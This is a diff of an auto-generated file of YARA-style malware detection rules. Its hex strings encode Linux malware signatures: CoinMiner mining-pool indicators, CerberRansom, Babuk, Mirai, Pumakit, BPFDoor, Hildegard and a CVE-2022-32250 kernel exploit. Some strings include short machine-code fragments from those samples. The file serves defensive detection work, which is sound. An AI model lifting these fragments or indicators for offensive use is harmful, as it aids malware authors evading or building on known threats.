_InfrastructureShared_20743{ +rule _InfrastructureShared_21997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273159,7 +289078,7 @@ rule _InfrastructureShared_20743{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29561+(#a_63_2 & 1)*27714+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_20744{ +rule _InfrastructureShared_21998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -273173,7 +289092,7 @@ rule _InfrastructureShared_20744{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*279+(#a_55_2 & 1)*2230+(#a_65_3 & 1)*25345+(#a_34_4 & 1)*23135) >=5 } -rule _InfrastructureShared_20745{ +rule _InfrastructureShared_21999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -273184,7 +289103,7 @@ rule _InfrastructureShared_20745{ ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*-30212) >=1 } -rule _InfrastructureShared_20746{ +rule _InfrastructureShared_22000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273196,7 +289115,7 @@ rule _InfrastructureShared_20746{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25970+(#a_35_2 & 1)*23135) >=3 } -rule _InfrastructureShared_20747{ +rule _InfrastructureShared_22001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -273209,7 +289128,7 @@ rule _InfrastructureShared_20747{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*27743+(#a_5f_2 & 1)*29808+(#a_68_3 & 1)*4864) >=3 } -rule _InfrastructureShared_20748{ +rule _InfrastructureShared_22002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273222,7 +289141,7 @@ rule _InfrastructureShared_20748{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*28516+(#a_65_2 & 1)*24423+(#a_2d_3 & 1)*269) >=4 } -rule _InfrastructureShared_20749{ +rule _InfrastructureShared_22003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273235,7 +289154,7 @@ rule _InfrastructureShared_20749{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*30073+(#a_00_2 & 1)*27507+(#a_69_3 & 1)*28417) >=4 } -rule _InfrastructureShared_20750{ +rule _InfrastructureShared_22004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -273249,7 +289168,7 @@ rule _InfrastructureShared_20750{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*4352+(#a_5f_2 & 1)*26983+(#a_68_3 & 1)*3328+(#a_6e_4 & 1)*29296) >=5 } -rule _InfrastructureShared_20751{ +rule _InfrastructureShared_22005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -273263,7 +289182,7 @@ rule _InfrastructureShared_20751{ ((#a_4c_0 & 1)*21539+(#a_6b_1 & 1)*269+(#a_3d_2 & 1)*8308+(#a_00_3 & 1)*0+(#a_41_4 & 1)*8448) >=5 } -rule _InfrastructureShared_20752{ +rule _InfrastructureShared_22006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -273273,7 +289192,7 @@ rule _InfrastructureShared_20752{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20753{ +rule _InfrastructureShared_22007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -273286,7 +289205,7 @@ rule _InfrastructureShared_20753{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*9504+(#a_20_2 & 1)*28514+(#a_00_3 & 1)*-7776) >=3 } -rule _InfrastructureShared_20754{ +rule _InfrastructureShared_22008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -273299,7 +289218,7 @@ rule _InfrastructureShared_20754{ ((#a_4c_0 & 1)*21539+(#a_3e_1 & 1)*29295+(#a_00_2 & 1)*-5955+(#a_65_3 & 1)*29285) >=3 } -rule _InfrastructureShared_20755{ +rule _InfrastructureShared_22009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273310,7 +289229,7 @@ rule _InfrastructureShared_20755{ ((#a_4c_0 & 1)*21539+(#a_a0_1 & 1)*1001) >=2 } -rule _InfrastructureShared_20756{ +rule _InfrastructureShared_22010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 05 00 21 " @@ -273323,7 +289242,7 @@ rule _InfrastructureShared_20756{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17731+(#a_65_2 & 1)*385+(#a_69_3 & 1)*29284) >=2 } -rule _InfrastructureShared_20757{ +rule _InfrastructureShared_22011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 04 00 21 " @@ -273335,7 +289254,7 @@ rule _InfrastructureShared_20757{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*24946+(#a_00_2 & 1)*19179) >=6 } -rule _InfrastructureShared_20758{ +rule _InfrastructureShared_22012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -273345,7 +289264,7 @@ rule _InfrastructureShared_20758{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20759{ +rule _InfrastructureShared_22013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -273360,7 +289279,7 @@ rule _InfrastructureShared_20759{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27136+(#a_70_2 & 1)*29797+(#a_6d_3 & 1)*28515+(#a_61_4 & 1)*21039+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_20760{ +rule _InfrastructureShared_22014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 21 " @@ -273374,7 +289293,7 @@ rule _InfrastructureShared_20760{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26739+(#a_63_2 & 1)*29557+(#a_6e_3 & 1)*27247+(#a_53_4 & 1)*25924) >=4 } -rule _InfrastructureShared_20761{ +rule _InfrastructureShared_22015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -273389,7 +289308,7 @@ rule _InfrastructureShared_20761{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28483+(#a_30_2 & 1)*11825+(#a_73_3 & 1)*21350+(#a_00_4 & 1)*28531+(#a_6f_5 & 1)*29441) >=6 } -rule _InfrastructureShared_20762{ +rule _InfrastructureShared_22016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273401,7 +289320,7 @@ rule _InfrastructureShared_20762{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29797+(#a_64_2 & 1)*16942) >=3 } -rule _InfrastructureShared_20763{ +rule _InfrastructureShared_22017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -273415,7 +289334,7 @@ rule _InfrastructureShared_20763{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25202+(#a_20_2 & 1)*25970+(#a_6e_3 & 1)*25963+(#a_61_4 & 1)*12152) >=3 } -rule _InfrastructureShared_20764{ +rule _InfrastructureShared_22018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -273427,7 +289346,7 @@ rule _InfrastructureShared_20764{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*280+(#a_72_2 & 1)*27393) >=2 } -rule _InfrastructureShared_20765{ +rule _InfrastructureShared_22019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -273438,7 +289357,7 @@ rule _InfrastructureShared_20765{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*29555) >=2 } -rule _InfrastructureShared_20766{ +rule _InfrastructureShared_22020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273450,7 +289369,7 @@ rule _InfrastructureShared_20766{ ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*8484+(#a_41_2 & 1)*18756) >=3 } -rule _InfrastructureShared_20767{ +rule _InfrastructureShared_22021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273462,7 +289381,7 @@ rule _InfrastructureShared_20767{ ((#a_63_0 & 1)*16931+(#a_62_1 & 1)*8250+(#a_62_2 & 1)*29545) >=3 } -rule _InfrastructureShared_20768{ +rule _InfrastructureShared_22022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273474,7 +289393,7 @@ rule _InfrastructureShared_20768{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*25964+(#a_68_3 & 1)*17665) >=4 } -rule _InfrastructureShared_20769{ +rule _InfrastructureShared_22023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -273487,7 +289406,7 @@ rule _InfrastructureShared_20769{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*27715+(#a_84_2 & 1)*29956+(#a_e8_4 & 1)*3) >=6 } -rule _InfrastructureShared_20770{ +rule _InfrastructureShared_22024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 03 00 21 " @@ -273499,7 +289418,7 @@ rule _InfrastructureShared_20770{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-14601+(#a_9f_2 & 1)*14337) >=1 } -rule _InfrastructureShared_20771{ +rule _InfrastructureShared_22025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273510,7 +289429,7 @@ rule _InfrastructureShared_20771{ ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*13312) >=2 } -rule _InfrastructureShared_20772{ +rule _InfrastructureShared_22026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -273523,43 +289442,33 @@ rule _InfrastructureShared_20772{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*14948+(#a_00_2 & 1)*-29696+(#a_00_3 & 1)*-29696) >=2 } -rule _InfrastructureShared_20773{ +rule _InfrastructureShared_22027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 52 52 44 65 62 75 67 67 65 72 00 02 00 1b 80 01 72 72 2d 74 65 73 74 2d 62 6c 61 63 6b 6c 69 73 74 2d 66 69 6c 65 5f 6e 61 6d 65 02 00 0c 80 01 6c 69 62 72 72 70 61 67 65 2e 73 6f 02 00 0f 80 01 6c 69 62 72 72 70 61 67 65 5f 33 } //18467 $a_6f_1 = {00 0f 80 01 2f 72 72 2f 73 72 63 2f 70 72 65 6c 6f 61 64 02 00 0c 80 01 6c 69 62 72 72 70 72 65 6c 6f 61 64 00 00 8c 8a 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 43 41 00 01 00 1f 00 72 75 6e 20 74 68 65 20 6d 69 6e 65 72 20 69 6e 20 74 68 65 20 62 61 63 6b 67 72 6f 75 6e } //11826 - $a_20_3 = {66 20 6d 69 6e 69 6e 67 20 73 65 72 76 65 72 01 00 0e 00 2e 6d 69 6e 65 72 67 61 74 65 2e 63 6f 6d 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 02 00 8c 8a 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f } //21077 - $a_69_4 = {75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 42 00 05 00 35 03 48 83 ec 08 ff 90 01 03 48 8d 90 01 05 50 41 0f b7 90 01 06 50 49 89 d9 4c 8d 90 01 05 4c 89 f1 48 8d 90 01 05 48 8d 90 01 05 4c 89 ff b8 00 00 00 00 e8 90 00 01 } //14957 + $a_20_3 = {66 20 6d 69 6e 69 6e 67 20 73 65 72 76 65 72 01 00 0e 00 2e 6d 69 6e 65 72 67 61 74 65 2e 63 6f 6d 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 02 00 8c 8b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 } //21077 + $a_3a_4 = {69 6e 75 78 2f 53 69 6c 65 6e 74 56 69 6f 6c 65 6e 63 65 2e 42 21 64 68 61 00 01 00 41 02 48 8d 85 f0 fd ff ff 48 89 d1 ba 01 00 00 00 be 00 02 00 00 48 89 c7 e8 90 01 02 ff ff 48 8b 85 90 01 01 fb ff ff 48 89 c7 e8 90 01 02 ff ff 48 8d 85 f0 fd ff ff be 31 00 00 00 48 89 c7 e8 90 00 01 00 10 01 6e 75 6d 5f 68 69 64 64 65 } //28527 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11826+(#a_20_3 & 1)*21077+(#a_69_4 & 1)*14957) >=2 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11826+(#a_20_3 & 1)*21077+(#a_3a_4 & 1)*28527) >=2 } -rule _InfrastructureShared_20774{ +rule _InfrastructureShared_22028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 43 41 00 01 00 1f 00 72 75 6e 20 74 68 65 20 6d 69 6e 65 72 20 69 6e 20 74 68 65 20 62 61 63 6b 67 72 6f 75 6e 64 01 00 14 00 55 52 4c 20 6f 66 20 6d 69 6e } //16675 - $a_20_1 = {65 72 76 65 72 01 00 0e 00 2e 6d 69 6e 65 72 67 61 74 65 2e 63 6f 6d 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 02 00 8c 8a 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 42 00 05 00 35 03 48 83 ec 08 ff 90 01 03 48 8d } //28265 - $a_50_2 = {0f b7 90 01 06 } //400 - $a_d9_3 = {8d 90 01 05 4c 89 f1 48 8d 90 01 05 48 8d 90 01 05 4c 89 ff b8 00 00 00 00 e8 90 00 01 00 23 03 48 89 ef 48 8d 90 01 05 e8 90 01 04 48 8d 50 07 49 89 ef 48 85 c0 4c 0f 45 fa 41 0f b6 07 3c 3a 77 90 00 00 00 8c 8b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 69 6c 65 6e 74 56 69 6f 6c 65 6e 63 65 2e 42 21 64 68 61 00 01 00 41 02 48 8d 85 f0 fd ff ff 48 89 d1 ba 01 } //18768 + $a_20_1 = {65 72 76 65 72 01 00 0e 00 2e 6d 69 6e 65 72 67 61 74 65 2e 63 6f 6d 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 02 00 8c 8b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 69 6c 65 6e 74 56 69 6f 6c 65 6e 63 65 2e 42 21 64 68 61 00 01 00 41 02 48 8d } //28265 + $a_ff_2 = {48 89 d1 ba 01 00 00 00 be 00 02 00 00 48 89 c7 e8 90 01 02 ff ff 48 8b 85 90 01 01 fb ff ff 48 89 c7 e8 90 01 02 ff ff 48 8d 85 f0 fd ff ff be 31 00 00 00 48 89 c7 e8 90 00 01 00 10 01 6e 75 6d 5f 68 69 64 64 65 6e 5f 66 69 6c 65 73 00 00 8c 8b 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 42 61 62 75 6b 2e 50 00 01 00 1b 80 01 44 6f 65 73 6e 27 74 20 65 6e 63 72 79 70 74 65 64 20 66 69 6c 65 73 3a 20 25 64 01 00 13 80 01 45 6e 63 72 79 70 74 65 64 20 66 69 6c 65 73 3a 20 25 64 01 00 11 80 01 53 6b 69 70 70 65 64 20 66 69 6c 65 73 3a 20 25 64 01 00 15 80 01 57 68 6f 6c 65 20 66 69 6c 65 73 20 63 6f 75 6e 74 3a 20 25 64 00 00 8c 8b 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 } //-3963 + $a_4a_3 = {6b 65 72 2e 53 41 00 01 00 0b 01 6c 69 62 66 6f 6d 6e 64 2e 73 6f 01 00 06 01 77 64 61 64 77 61 01 00 0c 01 32 31 31 30 31 31 31 34 30 30 34 } //21327 condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28265+(#a_50_2 & 1)*400+(#a_d9_3 & 1)*18768) >=3 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28265+(#a_ff_2 & 1)*-3963+(#a_4a_3 & 1)*21327) >=3 } -rule _InfrastructureShared_20775{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 02 00 21 " - - strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 42 00 05 00 35 03 48 83 ec 08 ff 90 01 03 48 8d 90 01 05 50 41 0f b7 90 01 06 50 49 89 d9 4c 8d 90 01 05 4c 89 f1 48 8d 90 01 05 48 8d 90 01 05 4c 89 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=6 - -} -rule _InfrastructureShared_20776{ +rule _InfrastructureShared_22029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273570,7 +289479,7 @@ rule _InfrastructureShared_20776{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*-1) >=2 } -rule _InfrastructureShared_20777{ +rule _InfrastructureShared_22030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273581,7 +289490,7 @@ rule _InfrastructureShared_20777{ ((#a_46_0 & 1)*16675+(#a_69_2 & 1)*21249) >=4 } -rule _InfrastructureShared_20778{ +rule _InfrastructureShared_22031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 06 00 21 " @@ -273596,7 +289505,7 @@ rule _InfrastructureShared_20778{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*12139+(#a_74_2 & 1)*26656+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_20779{ +rule _InfrastructureShared_22032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -273608,7 +289517,7 @@ rule _InfrastructureShared_20779{ ((#a_46_0 & 1)*16675+(#a_3b_1 & 1)*29486+(#a_61_2 & 1)*24941) >=2 } -rule _InfrastructureShared_20780{ +rule _InfrastructureShared_22033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -273621,7 +289530,7 @@ rule _InfrastructureShared_20780{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29557+(#a_64_2 & 1)*18464+(#a_41_3 & 1)*28257) >=2 } -rule _InfrastructureShared_20781{ +rule _InfrastructureShared_22034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 21 " @@ -273635,7 +289544,7 @@ rule _InfrastructureShared_20781{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*27503+(#a_70_2 & 1)*25089+(#a_61_3 & 1)*292+(#a_75_4 & 1)*29289) >=3 } -rule _InfrastructureShared_20782{ +rule _InfrastructureShared_22035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273647,69 +289556,56 @@ rule _InfrastructureShared_20782{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*28525+(#a_6b_3 & 1)*29441) >=4 } -rule _InfrastructureShared_20783{ +rule _InfrastructureShared_22036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 56 69 72 74 75 61 6c 50 69 74 61 2e 42 21 64 68 61 00 01 00 0e 01 73 63 6b 53 65 72 76 65 72 5f 73 65 6e 64 01 00 10 01 73 63 6b 43 6c 69 65 74 5f 67 65 74 63 6f 6e 6e 01 00 0e 01 } //16675 $a_65_1 = {74 5f 74 69 6d 65 6f 75 74 01 00 11 01 73 63 6b 53 65 72 76 65 72 5f 64 65 73 74 72 6f 79 01 00 0b 01 30 39 73 6f 63 6b 65 74 6c 69 62 00 00 8c 8d 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 51 21 4d 54 42 00 01 00 20 01 48 89 d0 81 } //25441 - $a_00_2 = {00 48 c1 e8 10 48 01 d0 48 89 c2 48 c1 ea 10 48 01 d0 f7 d0 0f b7 c0 c3 01 00 3b 01 44 89 c9 66 0f b6 47 09 c1 e9 10 41 8d 0c 08 66 c1 c8 08 0f b7 c0 01 c1 89 d0 81 e2 ff ff 00 00 c1 e8 10 01 d0 41 0f b7 d1 01 d0 41 0f b7 d2 01 d0 8d 04 01 89 c2 c1 ea 10 74 0e 00 00 8c 8e 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 75 6d 61 6b 69 74 2e 42 21 4d 54 42 00 01 00 26 01 83 38 02 75 26 31 ff e8 f2 47 02 00 48 89 df be 41 00 00 00 ba ed 01 00 00 31 c0 e8 a8 e1 01 00 85 c0 78 07 89 c7 01 00 37 01 48 89 d9 41 89 c0 31 c0 e8 06 52 02 00 48 89 df e8 8b e1 01 00 bf 54 00 00 00 4c 89 f6 31 c0 e8 08 ff 01 00 85 c0 0f 85 fb 22 00 00 48 8d 3d ee 14 03 00 31 f6 31 c0 00 00 8c 8e 00 00 03 00 03 00 04 00 21 23 54 45 4c 3a 45 78 70 6c } //-30 - $a_3a_3 = {69 6e 75 78 2f 43 56 45 2d 32 30 32 32 2d 33 32 32 35 30 2e 41 21 4d 54 42 00 01 00 24 01 73 70 72 61 79 5f 6b 65 79 72 69 6e 67 5f 6c 69 73 74 5f 6f 76 65 72 77 72 69 74 65 5f 70 75 72 70 6f 73 65 01 00 10 01 67 65 74 5f 6b 65 79 72 69 6e 67 5f 6c 65 61 6b 01 00 0d 01 73 70 72 61 79 5f 6d 73 67 5f 6d 73 67 01 00 0c 01 73 70 72 61 79 5f 6d 71 75 } //26991 - $a_00_4 = {00 8c 8e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 41 21 4d 54 42 00 01 00 0e 00 25 73 2f 2e 74 6d 61 74 65 2e 63 6f 6e 66 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 0d 00 65 74 63 2f 74 6d 75 78 2e 63 6f 6e 66 01 00 } //30053 + $a_00_2 = {00 48 c1 e8 10 48 01 d0 48 89 c2 48 c1 ea 10 48 01 d0 f7 d0 0f b7 c0 c3 01 00 3b 01 44 89 c9 66 0f b6 47 09 c1 e9 10 41 8d 0c 08 66 c1 c8 08 0f b7 c0 01 c1 89 d0 81 e2 ff ff 00 00 c1 e8 10 01 d0 41 0f b7 d1 01 d0 41 0f b7 d2 01 d0 8d 04 01 89 c2 c1 ea 10 74 0e 00 00 8c 8e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 41 21 4d 54 42 00 01 00 0e 00 25 73 2f 2e 74 6d 61 74 65 2e 63 6f 6e 66 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 0d 00 65 74 63 2f 74 6d 75 78 2e 63 6f 6e 66 01 00 17 00 2d 61 43 5d 20 5b 2d 74 20 74 61 72 67 65 74 2d 73 65 73 73 69 6f 6e 01 00 0f 00 6d 6f 6e 69 74 6f 72 2d 73 69 6c 65 6e 63 65 00 00 8c 90 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b } //-30 + $a_72_3 = {4c 69 6e 75 78 2f 42 50 46 44 6f 6f 72 2e 48 21 4d 54 42 00 01 00 2b 01 40 0f b6 f6 48 01 c6 8a 16 41 01 d0 45 0f b6 d8 49 01 c3 45 8a 33 44 88 36 41 88 13 02 16 0f b6 d2 8a 14 10 41 30 14 3a 48 ff c7 01 00 32 01 f3 0f 1e fa 41 57 41 56 41 55 49 89 d5 41 54 49 89 f4 55 31 ed 53 48 83 ec 18 48 8b 06 48 8b 1d 41 32 00 00 89 7c 24 0c } //28516 + $a_7e_4 = {00 00 49 89 df } //-30392 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25441+(#a_00_2 & 1)*-30+(#a_3a_3 & 1)*26991+(#a_00_4 & 1)*30053) >=5 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25441+(#a_00_2 & 1)*-30+(#a_72_3 & 1)*28516+(#a_7e_4 & 1)*-30392) >=5 } -rule _InfrastructureShared_20784{ +rule _InfrastructureShared_22037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 51 21 4d 54 42 00 01 00 20 01 48 89 d0 81 e2 ff ff 00 00 48 c1 e8 10 48 01 d0 48 89 c2 48 c1 ea 10 48 01 d0 f7 d0 0f b7 c0 c3 01 00 3b 01 44 } //21539 - $a_0f_1 = {b6 47 09 c1 e9 10 41 8d 0c 08 66 c1 c8 08 0f b7 c0 01 c1 89 d0 81 e2 ff ff 00 00 c1 e8 10 01 d0 41 0f b7 d1 01 d0 41 0f b7 d2 01 d0 8d 04 01 89 c2 c1 ea 10 74 0e 00 00 8c 8e 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 75 6d 61 6b 69 74 2e 42 21 4d 54 42 00 01 00 26 } //-13943 + $a_0f_1 = {b6 47 09 c1 e9 10 41 8d 0c 08 66 c1 c8 08 0f b7 c0 01 c1 89 d0 81 e2 ff ff 00 00 c1 e8 10 01 d0 41 0f b7 d1 01 d0 41 0f b7 d2 01 d0 8d 04 01 89 c2 c1 ea 10 74 0e 00 00 8c 8e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 41 21 4d 54 42 } //-13943 condition: ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*-13943) >=2 } -rule _InfrastructureShared_20785{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 75 6d 61 6b 69 74 2e 42 21 4d 54 42 00 01 00 26 01 83 38 02 75 26 31 ff e8 f2 47 02 00 48 89 df be 41 00 00 00 ba ed 01 00 00 31 c0 e8 a8 e1 01 00 85 c0 78 07 89 c7 } //21539 - $a_01_1 = {48 89 d9 41 89 c0 31 c0 e8 06 52 02 00 48 89 df e8 8b e1 01 00 bf 54 00 00 00 4c 89 f6 31 c0 e8 08 ff 01 00 85 c0 0f 85 fb 22 00 00 48 8d 3d ee 14 03 00 31 f6 31 c0 } //1 - condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1) >=2 - -} -rule _InfrastructureShared_20786{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " - - strings : - $a_4c_0 = {45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 43 56 45 2d 32 30 32 32 2d 33 32 32 35 30 2e 41 21 4d 54 42 00 01 00 24 01 73 70 72 61 79 5f 